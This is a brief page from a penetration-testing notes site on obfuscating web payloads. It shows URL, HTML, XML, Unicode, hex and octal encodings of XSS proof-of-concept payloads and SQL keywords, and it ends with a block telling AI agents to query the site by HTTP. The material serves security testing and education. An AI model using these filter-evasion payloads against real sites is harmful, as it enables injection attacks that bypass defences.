# Obfuscation

<figure><img src="/files/0T9ecFDf7sUCQ3iA3fvn" alt=""><figcaption></figcaption></figure>

**URL encoding:**

```bash
[...]/?search=Fish+%26+Chips
```

**Double URL encoding:**

```bash
[...]/?search=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
[...]/?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
```

**HTML encoding:**

```html
<img src=x onerror="&#x61;lert(1)">
<a href="javascript&#00000000000058;alert(1)">Click me</a>
```

**XML encoding:**

```xml
<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
        999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>
```

**Unicode encoding:**

```js
eval("\u0061lert(1)")
<a href="javascript\u{0000000003a}alert(1)">Click me</a>
```

**Hex escaping:**

```js
eval("\x61lert")
```

**Octal escaping:**

```js
eval("\141lert(1)")
```

**Multiple encodings:**

```js
<a href="javascript:&bsol;u0061lert(1)">Click me</a>
```

Browser will first HTML decode `&bsol;` to `\` - turning `u0061` into the unicode escape `\u0061` decoding into `a`.

**SQL char() function:**

```sql
CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
```

Decoded to `SELECT`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xpthree.gitbook.io/notes/post-exploit/obfuscation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
